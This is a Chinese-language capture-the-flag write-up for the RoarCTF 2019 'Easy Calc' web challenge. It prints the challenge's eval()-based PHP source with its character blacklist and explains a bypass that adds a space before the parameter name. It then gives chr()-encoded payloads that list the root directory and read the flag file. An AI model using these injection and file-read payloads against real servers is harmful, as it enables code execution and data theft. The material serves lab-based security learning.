微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Web-[RoarCTF 2019]Easy Calc

看看题目内容一个计算器,并且过滤了非数字的值,查看源码,上了waf,并且在calc.PHP显示waf的规则

<?PHP
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

进行绕waf,首先了解一下PHP的解析规则,当PHP进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。

num被限制了,那么  num呢,在num前面加了空格。waf就管不着了,因为waf只是限制了num,waf并没有限制  num,当PHP解析的时候,又会把   num前面的空格去掉在解析,利用这点来上传非法字符

构造payload来查看目录,用chr转化成ascll码进行绕过

? num=1;var_dump(scandir(chr(47)))

查看flag

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

获取flag

 

 

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐